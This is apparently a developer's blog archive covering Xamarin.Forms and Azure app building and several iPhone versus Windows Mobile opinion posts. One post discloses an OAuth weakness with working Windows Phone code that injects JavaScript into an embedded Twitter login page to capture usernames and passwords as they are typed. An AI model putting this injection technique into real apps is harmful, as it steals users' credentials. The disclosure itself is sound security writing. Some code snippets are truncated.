Active Directory Authentication with iOS with Xamarin.Forms

Active Directory Authentication with iOS with Xamarin.Forms

Essentially this doesn’t appear to currently work. Due to the alignment of iOS projects to the Unified APIs I think there is currently a compatibility issue between the ADAL prerelease library and the Xamarin.Forms implementation. I’ll come back to this once we have a resolution for this.

Building the Xamarin.Forms Basic Layout Using XAML

Building the Xamarin.Forms Basic Layout Using XAML

The initial content page that was created when we created the XForms projects was done in code. Rather than doing the layout in code, I prefer to work in XAML – not only does this make the design more declarative, it is also miles easier to data binding. I’ll start by creating a new Forms Xaml Page.


Next we’ll add some XAML to the page (similar to what we added to the Windows MainPage):

<?xml version=”1.0″ encoding=”utf-8″ ?>
  <ListView ItemsSource=”{Binding Properties}”>
            <Label Text=”{Binding Address}” />

And in the code behind for the MainPAge we’ll create, assign and load data into the MainViewModel:

protected async override void OnAppearing()

    var vm = new MainViewModel();
    BindingContext = vm;
    await vm.LoadPropertyData();

And of course I need to update the code in App.cs to use the new XAML MainPage, rather than the code created ContentPage:

public App()
    // The root page of your application
    MainPage =new MainPage();

When you go to run this you’re likely to see errors due to lack of references for the SQLite extensions. Most references will get added if they are used by referenced libraries. What makes SQLite different is that there are platform specific implementations which are only added to the platform specific project. As such you need to make sure all the client applications have the SQLiteStore NuGet package referenced. I ran into issues applying the NuGet package to the Android project as it seemed to not be able to find the HttpClient NuGet package – I had to add this NuGet package to the Android project first, before applying the SqliteStore NuGet Package.


After doing this I was able to run up the XForms applications on each of the platforms, each displaying the addresses of the properties in my local offline database.

Adding Xamarin.Forms Support

Adding Xamarin.Forms Support

So far I’ve only had support for the new Windows platform clients (ie Windows and Windows Phone) for my Real Estate Inspector sample app. However, to make it successful we need to target more platforms. To this end I’m going to add support for iOS, Android and Windows Phone 8.0 using Xamarin.Forms.

After installing the Xamarin tooling for Visual Studio, I added a new project using the Blank App (Xamrain.Forms Portable) template. This actually look multiple attempts as I hadn’t updated the Xamarin tooling prior to creating the projects. I would highly recommend upgrading the tooling first!


This will give you three target projects Driod, iOS and WinPhone, in addition to a PCL which contains the common code and ui for the applications. You should be able to build and run each of these targets – however, you’ll need to either register for a trial or have a Xamarin Business subscription. Since the UI is help in the PCL project, it’ll be the same across all the targets, although there may be platform rendering differences.

Now that we have these three targets, we’re going to have to connect up our Azure Mobile Service, work out how we’re going to deal with navigation and structure our solution to maximise code reuse across our Windows platform projects.

Mobile First, Cloud First and How it Applies to Line of Business Software

Mobile First, Cloud First and How it Applies to Line of Business Software

I’m going to start the year by dissecting a typical business scenario which will demonstrate how the use of Windows, Windows Phone and Azure can be plugged together to quickly deliver a line of business solution. Throw in a bit of Xamarin and a web front end and you have a solution that will enable employees to use any device they choose in order to access the software.

The first thing to cover is the scenario, which in this case is going to be a property inspection tool that could be used by a property manager to do periodic property inspections required under most rental agreements. At first glance this appears to be a tool that is specific for the real estate industry but as we’ll see there are a number of components that make it similar to any task, defect or issue tracking system:

– Property managers will have a number of properties assigned to them to manage
– Properties will have a history of inspections which may include images and/or videos
– Property information, and perhaps most recent inspection, needs to be available offline (just in case there is no internet inside a property being inspected)

– Inspections need to be able to be created, edited and submitted from a mobile device

This will probably do for the time being; as we go we may introduce other elements to demonstrate the use of various platform components. What’s interesting to note at this point is that properties can be switched out for projects, and inspections for tasks, if this scenario were a task/issue/defect tracking system.

At a high level let’s discuss the major components:

– Mobile devices – Naturally as .NET developers we gravitate to what’s easiest so we’ll include Windows and Windows Phone applications based on the universal app template which uses a shared code project to prompt reuse. However, we shouldn’t neglect the other platforms so we should include iOS and Android projects, using the Xamarin tooling. Our business logic we’ll abstract into a portable class library (PCL) to attempt to give us maximum reuse.

– Services – Azure Mobile Services will give us the raw scaffolding to stand up a SQL Server backend with services exposed to surface data to our mobile applications. These services support synchronisation which we’ll use to give the mobile applications offline support.

– Blobs – Azure Blob Storage will be used to store the images and videos collected as part of the solution. Whilst the service tier will be used to control access to Blog Storage (by issuing Shard Access Signatures) the upload will be done from the mobile applications directly into blob storage

– Authentication – As this is a line of business solution we’d prefer users to not have to remember another set of credentials. To this end the solution will use Azure Active Directory (AAD) to authenticate users and grant them access to the software. The users can be synchronised from the corporate AD into AAD so as to maintain a single set of credentials for any user.

– Web application – An Azure Website will be used to provide desktop and mobile solution for those unable to use the mobile applications. Whilst this could go directly to the SQL Server backend, it will in fact be routed via the service tier to ensure a common authentication pattern and usage model for the data.

– Scheduling – A scheduler will be setup in Azure for use by the solution in order to schedule particular jobs or operations to be carried out. For example the periodic generation and sending of reports.

– Push Notifications – When new data is available, push notifications can be sent out to the mobile applications to either alert the appropriate user, or perform a background synchronisation of the new data.

I’ll use this post as a reference for the components that I’ll be discussing in the coming posts. The components aren’t in any particular order and the posts won’t focus on individual components, rather how they connect together and what you need to know to get them to work together.

Getting Started with Design for Windows, Windows Phone, iOS and Android

Getting Started with Design for Windows, Windows Phone, iOS and Android

Here’s a summary of some of the design guidelines for the various mobile platforms:

Windows Phone





Another great resource on user experience design is the UX Mastery website

In particular the book Everyday UX is worth purchasing:

Why the iPhone 5 is a Fail

Why the iPhone 5 is a Fail

When the iPhone 5 came out I thought it about time that I experience how the other side lives; you know the side that seem to drool at any thing white and shiny (also known as ilunatics for participating in iqueues).  Most people who know me know how Microsoft-centric my world is but from time to time I do step out and try to familiarise myself with other platforms. With this in mind when I renewed my phone contract I signed up for an iphone 5, which of course came with a replacement nano-sim.

Ok, so here are just a few of my observations:

Why a nano-sim? I don’t believe the space saving warrants being different from every other phone on the market. I had to spend two extra agonising days with the iphone, just because I couldn’t find a converter to go back up to a micro-sim.

Why the new socket? Ok, not being in the land of white and shiny, I don’t really care that it’s changed. What I care about is the Apple have again defied the industry and gone with their own proprietary connector. Instead of using one of hundreds of micro-usb cables I have floating around, I have to use the white cable that came with the device, and I have to keep it in a locked box for fear on our cats chewing on them (they seem to hate Apple products and will chew on them at any opportunity).

The apps rock! The one thing I have to say about the iphone is that the quality and depth of apps available is second to none. Whilst some haven’t been adapted to the new height of the iphone 5 they’re still of exceptional quality.

The core platform does NOT rock When the iphone first came out the interface was revolutionary in the way that users interacted with the device. My comment, even back when the iphone 3 came out is that Apple had failed to innovate with the iphone; evolve, absolutely, innovate, not so. With iphone 4 and now 5 there is nothing that I’ve seen in the core platform that says to me “I’ve got to have that” If you compare the numerous Android devices on the market, the iphone 5 really just doesn’t lead the pack, in fact from a UX perspective it trails a poor third to both Android and Windows Phone.

The Ads, Really??? I don’t know whether you’ve seen the new TV ads that talk about how they’ve optimised the height of the new iphone 5. I must admit I had to double-take as I thought it was a spoof initially, now I just feel embarrassed for Apple. They must really be scared if they’ve stooped so low. Don’t get me started on the ear buds (as if no other headphone manufacture has shaped their earbuds before, in fact shame on Apple for not having done this sooner) or the dancing ipods.

Lastly, before I sign off I want to make an interesting observation about the timing of the ipad mini v’s Windows 8. As you’re probably aware Apple made their announcement the day prior to Microsoft’s mega Windows 8 launch. It strikes me that Apple might have got this the wrong way round – by putting it the day before, it was almost forgotten the next day when Microsoft went to press. Had they done it the day after, wouldn’t they have taken the focus back from Microsoft back onto Apple. I’m no marketer but would have loved to have heard the logic about the timing of these events.

Don’t forget that next week is BUILD

Hack: OAuth security flaw for Windows Phone 7, iPhone and other Mobile platforms

Hack: OAuth security flaw for Windows Phone 7, iPhone and other Mobile platforms

If you’ve ever had to work with one of the multitude of social networking sites out there (eg Facebook or Twitter) you’d be familiar with Oauth (official documentation is but most sites have their own documentation too). For integrating these sites into a website Oauth seems to be relatively secure. There are a couple of implementations: OAuth 1, which Twitter currently uses which is a royal pain to implement, and then OAuth 2, which Facebook uses. What I’m going to show in this post is just how dangerous OAuth is for rich client applications (ie native applications for desktop and for most mobile platforms).

The original intent behind OAuth was good and noble. It stems from the lack of trust that users have for websites that prompt for a set of credentials that they don’t manage. For example if asked for your Facebook credentials you won’t enter them would you! So the idea is to send the user off to Facebook to authenticate; once authenticated the user is returned to the original website along with a token that indicates they’re authenticated.

For rich client applications (in this example I’ll use a Windows Phone 7 application but the point I’m making is in no way an issue with the platform, rather than with OAuth as a protocol) the idea is that you display a web browser control (UIWebView if you’re in iOS-land) and direct the user to sign into the social network of your choice. Once they’re signed in the host application can extract the authenticated token. Again, the idea is that the application isn’t requesting the user’s credentials. In fact, the application shouldn’t be able to access the user’s credentials at any point in the process.

This is where things start to go pair-shaped. Nearly every rich client platform which has a web browser control that can be used to render web content within an application, also allows the host application to interact with the content. In most cases this can be used to invoke javascript. With some relatively basic manipulation of the HTML DOM you can easily, and I mean easily, extract any data that the user enters.

I’ll step through how I did this in my Windows Phone 7 application:

Step 1: Create the UI – some basic XAML to display a WebBrowser control

<phone:WebBrowser x_Name="Browser"
                     LoadCompleted="Browser_LoadCompleted" />

Notes: I’ve enabled scripts by setting IsScriptEnabled to true. I’ve attached an event handler to the LoadCompleted event; this will allow me to interact with the DOM once the page has rendered. I’ve also attached a handler to the ScriptNotify event; this will allow me to send data from javascript back out to the host application.

Step 2: Navigate to the login screen

void MainPage_Loaded(object sender, RoutedEventArgs e)
{     // Facebook OAuth login: eg
     // Twitter login: eg
     this.Browser.Navigate(new Uri(""));


Notes: Running this you’ll see that the browser navigates to the Twitter sign in page – at this point the user is entering their credentials into the Twitter site. However, what they don’t realise is that the application could be sniffing the data they enter.

Step 3: Inject some Javascript

private void Browser_LoadCompleted(object sender, System.Windows.Navigation.NavigationEventArgs e)
{     try
         Browser.InvokeScript("eval", "(function(){" +
             // Find all the input fields
             "var fields = document.getElementsByTagName('input');" +
             // Iterate through looking for text and password fields
             "for(var j=0;j<fields.length;j++){" +
                     "if(fields[j].type=='text' || fields[j].type=='password'){ " +
                         // Attach event handlers to retrieve the changed values
                         "fields[j].attachEvent('onchange',function(e){" +
                             "setTimeout('(function(){window.external.notify("' + e.srcElement.value + '");})()',50);" +
                         "});" +
                 "}} " +
     }     catch     {     }

Notes: This block of code calls the javascript eval method, passing in a parameter that defines an entire javascript function. eval will interprete and execute that function; this pretty much allows you to run any javascript code you want. Hopefully the comments in the javascript should be enough for you to work out what it does up until the setTimeout method.

The window.external.notify javascript method is how we send data from javascript back out to the host wp7 application. When this method is invoked, it raises the ScriptNotify event on the WebBrowser control, passing the method parameter out into the event handler.

You might be asking why we don’t call window.external.notify directly at this point. Unfortunately if you do that you’ll never see the ScriptNotify event raised. I suspect that this is some sort of conflict occurring on the UI thread – essentially the onchange event is getting raised in javascript due to some UI event from the user (eg moving between fields); this in turn is trying to raise the ScriptNotify event on the UI thread of the browser, which is currently locked. Anyhow, we get around this by effectively delaying the window.external.notify method call by 50 milliseconds.

Step 4: User enters username and password

Notes: After each value is entered the ScriptNotify event is raised, passing out the data entered

Step 5: Extract the data returned from javascript

private void Browser_ScriptNotify(object sender, NotifyEventArgs e)
{     // Extract the exported data
     var txt = e.Value;

Notes: The variable txt holds the exported value from the text or password input field. The application can then do what it likes with those details.


When I run this application and enter values, each field I enter text into is exported (see the list of data values below the WebBrowser).


I’ve included this as a working example (don’t forget to unblock the file when you download it):

As you can see it is super easy for a rich client application to effectively steal user’s credentials whilst they are logging in via a WebBrowser control. The moral of this story is that OAuth should not be used for rich client applications and that the social networking sites need to mature and offer a secure mechanism for rich client applications to authenticate against their services without those applications accessing the users credentials directly.

iPhone User Experience Fail

iPhone User Experience Fail

This afternoon I planned to go play in the AppStore. Since everyone’s been raving on about all the cool apps in there I figured I must be missing something – Don’t get me wrong I’ve been in there before but I’m not really an apps person. I use the built in phone capabilities and the occasional app to get the odd job or two done.

Turns out that since the last time I turned on my iphone the beta of iphone OS 4 has expired so my iphone is just sitting there blinking at me indicating that I need to connect to iTunes. I connected to my PC and opened up iTunes (I could almost feel the groan from my computer when I did this). It then comes up with a message saying the iphone software has expired – great, so update it for me. No chance! Restore…. Fail, Check for Updates….. none available, you’re running v4.0 which is the latest and greatest…. not!

Thinking that of course my PC is stupid and what would it know I powered up my Mac. Same deal. I went to the iphone developer website in order to get the v4.0 update and ran into two issues:

– I’ve got two developer profiles with Apple for the companies that I work with. This means that when you sign in they ask you which profile you want to connect to. Do you think I could select one and proceed? Not a hope!

– Once I finally restarted my browser, cleared the cache etc I went back to the iphone dev centre it came up with a message saying it was being updated and to come back soon…. FAIL – you mean I have to sit here with a iphone that doesn’t work?

The work around was simple enough – back to the PC, open the iphone dev centre (which for some reason still works on my PC), download the update, copy update to mac (so I can update my iphone), update iphone from iTunes (on the Mac).

Honestly, that they have the nerve to accuse other companies of a poor user experience…..

It’s no iPhone UI but it’s a step up for Windows Mobile

It’s no iPhone UI but it’s a step up for Windows Mobile

Over the weekend, after a long flight back from the US, I got particularly frustrated by my HTC Touch Pro device – the Today screen basically crashed and required me to take the battery out in order to restart the device.


Before I go much further can I state publically that I think that the current HTC devices (namely the Diamond (from other’s feedback) and the Touch Pro) are some of the worst devices I’ve seen. Whilst the HTC customised UI is “nice” something doesn’t play nice on the device causing all sorts of issues.  This coupled with a complete lack of any support from either HTC or eXpansys Australia has left me very disfranchised about the device that I paid >$1000 for. I have purchased a number of devices from eXpansys UK but this was the first and only device I will ever by from the Australian subsidiary – the lack of any real support on the issues with this device means that I would discourage anyone from every purchasing from eXpansys Australia.


Ok, enough of me ranting.  What I did want to cover was the Point UI Home 2 interface. Like so many other interfaces this uses a series of icons and gestures to try to optimise the layout of the home screen.  I’ve included a number of the screens:

image image

image image

Unfortunately it seems that Pocket Controller-Pro doesn’t seem to be able to capture the higher resolution on this device so the images are a little grainy. In the second image you can see the transition between Date/Time/Weather view and the Task list view.  This is done by sweeping your finger across the top part of the display.

At the bottom you have a series of buttons that can be used to bring up Call history, Favourite applications (you can specify 9), Favourite contacts and Messaging.

All in all, I think this UI is much easier to use that the default Touch Pro interface and a significant improvement over the default Windows Mobile 6 UI.  In fact I’d almost say, based on the screenshot presented from WMC that it is more intuitive than what’s coming in Windows Mobile 6.5 with the Honeycomb start interface.

iPhone Killer Application

iPhone Killer Application

Today at Geek Coffee we were considering what the next big killer mobile application is going to be.  Clearly one of the hottest areas for mobile is location awareness.  The Telcos have traditionally been holding the market back in this area – they’ve had the technology to be able to do this for years but unless you want to pay thousands of dollars you’re not able to get at this data. There is a change in the air and in the next couple of years I expect there to be much more in this space. 

Anyhow as part of our brainstorming we came up with a real gem:  There is an increasing number of people complaining about the iphone and there are a large number of people who have had to take a device back for whatever reason.  How about a “Return to Sender” application?  All it does is give you the quickest route from where you currently are to the nearest Apple store, where you can return your device.

image image

I’m sure it would take no more than an hour to knock this up and yet how useful would it be to all you iPhone users…..

HTC Touch Pro – Breaking the iPhone trend

HTC Touch Pro – Breaking the iPhone trend

One of the trends that I’ve seen over the last week or two is the growing number of previously loyal Windows Mobile users who have drunk the apple juice and are now wielding an iPhone. Whilst I have nothing against the iPhone I can’t see myself using a device that doesn’t support primitive operations such as copy-n-paste or that assumes that we wouldn’t want to schedule a meeting with more than one attendee….(list goes on).

With this in mind, when the screen on my HTC Touch Dual stopped working a couple of weeks ago I made the decision to go with the HTC Touch Pro.  Eventually it arrived yesterday and I must admit HTC do a great job of packaging:



As I was unboxing and setting up the device I went through a bit of a mental checklist:

  • Minimal yet funky packaging
  • Easy to put together including battery, Sim card and microSD card
  • Autoconfigured for my carrier (3G support out of the box!)
  • Easy to connect through to Exchange (enter email and password and it’s done)
  • Nice user interface (much better than raw Windows Mobile but still a bit laggy in areas)
  • Device.exe crashes frequently
  • Screen is slow to respond

Honestly, why have I got yet another Microsoft based device that crashes (oh wait, it’s Windows, I should be used to this….).  Where is the quality in what’s being shipped. I don’t think that Microsoft or HTC get what really drives the consumer market but surely they must understand that consumers just want stuff that works.

iPhones are for Girls, Diamonds are for Men

iPhones are for Girls, Diamonds are for Men

This post started out as a bit of a grumble about the complete lack of support here in Australia for Windows Mobile devices.  I recall about a months or so ago being pleasantly surprised when I saw the HTC Touch Dual on that back of buses.  It got me thinking that Microsoft Australia actually cared what devices we bought and were trying to make a difference.

Unfortunately, last week my trusty device (the Touch Dual) packed it in.  For some reason the screen is completely dysfunctional – whilst you can still do quite a few things with the device with no touch screen, it’s almost impossible to dismiss alarms/reminders and send SMS messages.  This is because the hardware manufacturers have decided to move away from providing hardware alternatives to the on-screen soft-keys.

Over last weekend I went looking for a new Windows Mobile device.  Being familiar with the HTC Diamond I thought I’d at least start with that.  I know that the Touch Pro (essentially the Diamond with a keyboard) has been released but I doubted that anyone in Australia would stock it.  What I wasn’t prepared for was the complete lack of nearly any Windows Mobile based devices in any of the stores we went into.  I think we went into close to 10 shops covering 3, Telstra, Vodafone, Optus and a couple of other less carried dependent stores.  Of these stores perhaps 1 or 2 of them had the Touch II or the Touch Dual. Surprisingly the Telstra store had a Diamond on display but that was the only Windows Mobile device out of around 30 phones on display.  Nearly all the stores had the usual suspects of Blackberry, Nokia, Samsung etc on display. Oh, and yes, of course there was the mandatory iPhone propaganda.

In summary I don’t know what the Windows Mobile group is doing in Australia, but it’s definitely not working.  The message is not getting out, the devices are not a viable alternative as the plans are not competitive and they are not accessible!

Ok, so now for some good news.  I happen to be waiting to get my hair cut and was flicking through a copy of Men’s Style and came across a one page comparison between the iPhone and the HTC Diamond.  I immediately thought “here we go, more Go Buy an iPhone rubbish,” but no, this was actually a fair comparison of the good and bad points of the devices.  In fact, after reading it you’d want to go and buy the HTC Diamond.


To wrap this post up, I’m going to conclude that since this was in a Men’s article that (HTC) Diamonds are clearly designed for men, whilst iPhones are only suitable for girls.

iTouch/iPhone UI: Appointment Date/Time

iTouch/iPhone UI: Appointment Date/Time

When the iPhone first came out and everyone was raving about its user interface I had to agree with them, despite being a long-term Windows Mobile user.  Of course, like all new user interfaces there are always going to be some learning points but on the whole there is a lot to be said for an interface that was solely developed for the use with a finger.

Take the following screenshot, which is actually of an iTouch but could easily be an iPhone, you can see that at the bottom of the screen shot is a set of rollers.  These are used to set the date and time that an appointment is to start.  By flicking your finger across the rollers you can wind the date/time forward/backward at different speeds depending on how quickly you move your finger.


The clear advantage of this interface over the traditional date/time pickers used by the new appointment dialog on Windows Mobile (see below).  In fact the Windows Mobile interface is so bad (actually perhaps old is a better term of it) that you can’t reasonably use it with a finger, you really do need to either use a stylus or if you’ve worked out how, the d-pad.

image image

The current guidance from Microsoft for new Windows Mobile applications is to build for the smartphone (ie no-touch) with the assumption that this is the canonical set of the controls available for both platforms.  Unfortunately this is probably the worst thing you can do for a usable touch interface.  In my opinion if you want to build an awesome application for the Pocket PC (ie Windows Mobile 6 Classic or Professional – urge why do we still have such silly sku names!) you should be focused on a “touch first design”.

Side note: My apologies for the rather poor photo of the iTouch. Of course Pocket PC Controller (used for the Windows Mobile screenshots) doesn’t work with the iTouch and my HTC Touch Dual has a barely competent camera under low light conditions 😉

Windows Mobile v’s iPhone

Windows Mobile v’s iPhone

A recently conducted survey by Markitecture discussed here at Mobility Today provided some interesting insight into the smartphone wars that are about to begin (or in some cases are already at large). In actual fact the results that 6% of those surveyed would buy an iPhone was imho not a surprise and I’m not sure that this necessarily directly correlates to market share. If you follow the link through to the source at MacWorld there is an arrogant quote by Steve Ballmer about iPhone not getting market share – given how widely Microsoft missed the web boat, can they really afford to be this arrogant in another emerging market.

What I find interesting is that there is an assumption that these phones all play in the same market. There has never been any secret that Windows Mobile devices are focused on the enterprise market where synchronisation of email, calendar and contacts are essential.  Further they have a well established set of developer tools and apis that can be used to build rich applications, that can be deployed within an organisation to better equip their mobile staff.

The question remains as to where the other players fit.  In the case of Blackberry it is again easy as it is almost entirely enterprise customers.  Nokia and Motorola have for the most part been focused on the consumer space but increasingly we are seeing devices, such as those running Symbian S60 or Windows Mobile, that are capable of being used in the enterprise. Lastly the iPhone – well given the distinct lack of developer apis or programming model it can hardly be considered a true smartphone but it does have the standard POOM feature set for managing contacts, calendar and email so it could be used within the enterprise.  It appears from the marketing campaigns by Apple that they are going for consumer buy-in which they are hoping will put pressure on the enterprise market for adoption.

Going back to the post at Mobility Today the first comment struck me as it is basically flaming Microsoft for poor product quality.  Windows Mobile is similar in a number of ways to any other version of Windows – Microsoft creates the operating system, then hardware manufacturers have to build appropriate drivers/customisations to suit their hardware.  In the case of Windows Mobile this often leads to the introduction of bugs (such as this issue with the notification broker on the JasJar) which unfortunately reflects poorly on the entire platform.

Further Microsoft have had their own set of ongoing issues relating to synchronisation with/through the desktop – you would have though after years of negative feedback on ActiveSync they would think to invest the time/resources to getting it right. Unfortunately they don’t seem to have acknowledged that there is still an issue, and to make matters worse they keep removing features! First they removed synchronisation via ethernet as it was a security risk (why not just fix the issue!) and now with the Windows Mobile Device Center they seem to have removed even more features. Being a developer using Vista I am yet to be able to get the emulator to consistently connect via WMDC so that I can debug my application without using a real device.

Having said all this, the Windows Mobile platform rocks in terms of being a developer platform.  The extent of the managed apis, the .NET Compact Framework, Sql Server Compact Edition (and synchronisation via RDA or Merge Replication) and other developer frameworks (the Mobile Client Software Factory and the Smart Device Framework) make it an awesome platform for building occasionally connected rich applications!

You can’t park that iPhone here!

You can’t park that iPhone here!

With all the hype around the iPhone I think everyone has forgotten what really matters.  Apple are using their ability to create a rich and effective user experience which in my opinion is why the iPhone is getting so much attention.  It’s not that they are doing anything that “can’t” be done on an existing device, it’s the fact that they are pushing the bounds of accepted user interface design.  Perhaps Gabriel from Small Surfaces is right in saying that a “consistent UI … is hampering … innovation” but I think Alex might disagree.

This, believe it or not, is a .NET Compact Framework v2 application that really demonstrates the ability to build a rich user experience on the Windows Mobile platform.